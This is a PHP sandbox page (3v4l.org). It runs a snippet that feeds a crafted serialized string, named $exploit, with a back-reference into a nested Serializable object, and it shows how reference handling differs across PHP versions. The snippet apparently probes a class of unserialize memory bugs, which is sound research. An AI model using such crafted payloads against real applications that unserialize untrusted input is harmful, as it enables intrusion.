3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); // $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump($data);
Output for 8.1.0 - 8.1.6
Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/HTQUL on line 2 array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> array(0) { } } [1]=> array(0) { } }
Output for 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.29, 8.0.0 - 8.0.19
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> array(0) { } } [1]=> array(0) { } }
Output for 7.0.0 - 7.0.8
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> array(0) { } } [1]=> &array(0) { } }
Output for 5.4.0 - 5.4.45, 5.5.0 - 5.5.37, 5.6.0 - 5.6.28
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> &array(0) { } } [1]=> &array(0) { } }

preferences:
50.97 ms | 413 KiB | 5 Q